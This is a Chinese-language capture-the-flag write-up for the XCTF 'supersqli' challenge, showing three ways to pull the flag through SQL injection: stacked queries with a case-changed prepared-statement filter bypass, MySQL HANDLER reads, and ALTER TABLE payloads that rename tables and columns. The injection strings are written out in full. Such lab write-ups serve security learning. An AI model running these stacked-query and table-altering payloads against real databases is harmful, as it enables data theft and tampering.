Xctf练习sql注入--supersqli
三種方法
方法一
=1 回顯正常
=1’回顯不正常,報(bào)sql語(yǔ)法錯(cuò)誤
=1’ --+ 回顯正常,說(shuō)明有sql注入點(diǎn),應(yīng)該是字符型注入(# 不能用)
=1’ order by 3 --+ 回顯失敗,說(shuō)明有2個(gè)注入點(diǎn)
=1’ union select 1,2 --+ 回顯顯示過(guò)濾語(yǔ)句:
=1’; show databases --+ 爆數(shù)據(jù)庫(kù)名
=-1’; show tables --+ 繞過(guò)過(guò)濾,顯示表下的列名
=1’;show columns from words --+ 嘗試堆疊注入(多條語(yǔ)句)
nothing…
想要進(jìn)一步拿到信息,只有想辦法繞過(guò)select語(yǔ)句
這里需要用到 sql語(yǔ)句的預(yù)編譯
https://blog.csdn.net/weixin_45694388/article/details/111871581
再次通過(guò)大小寫繞過(guò)關(guān)鍵字prepare過(guò)濾
方法二:handler查詢
mysql可以使用select查詢表中的數(shù)據(jù),也可使用handler語(yǔ)句,這條語(yǔ)句是一行一行的瀏覽一個(gè)表中的數(shù)據(jù)。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打開(kāi)一張表
handler table_name read first讀取第一行內(nèi)容,
handler table_name read next依次獲取其它行
最后一行執(zhí)行之后再執(zhí)行handel table_name read next會(huì)返回一個(gè)空的結(jié)果。
方法三 他好騷啊
有如下列,其中有一個(gè)列就是data列我們是可以進(jìn)行查詢,爆出內(nèi)容的,所以我們可以利用數(shù)據(jù)庫(kù)修改表名和列名的方法,將我們要查詢的表名改成第二個(gè),就可以查詢出我們想要的內(nèi)容了
=1'; alter table words rename to aaaa;alter table `1919810931114514` rename to words;alter table words change flag id varchar(100);#介紹一下這幾句:
alter table words rename to aaaa;先把原來(lái)的words表名字改成別的,這個(gè)隨便
alter table 1919810931114514 rename to words;將表1919810931114514的名字改為words
alter table words change flag id varchar(100);將改完名字后的表中的flag改為id,字符串盡量長(zhǎng)點(diǎn)吧
然后我們用1’ or 1=1 --+直接就能得到正確結(jié)果
總結(jié)
以上是生活随笔為你收集整理的Xctf练习sql注入--supersqli的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 0 0/2 * * * ? linux文
- 下一篇: (2021) 24 [持久化] 文件系统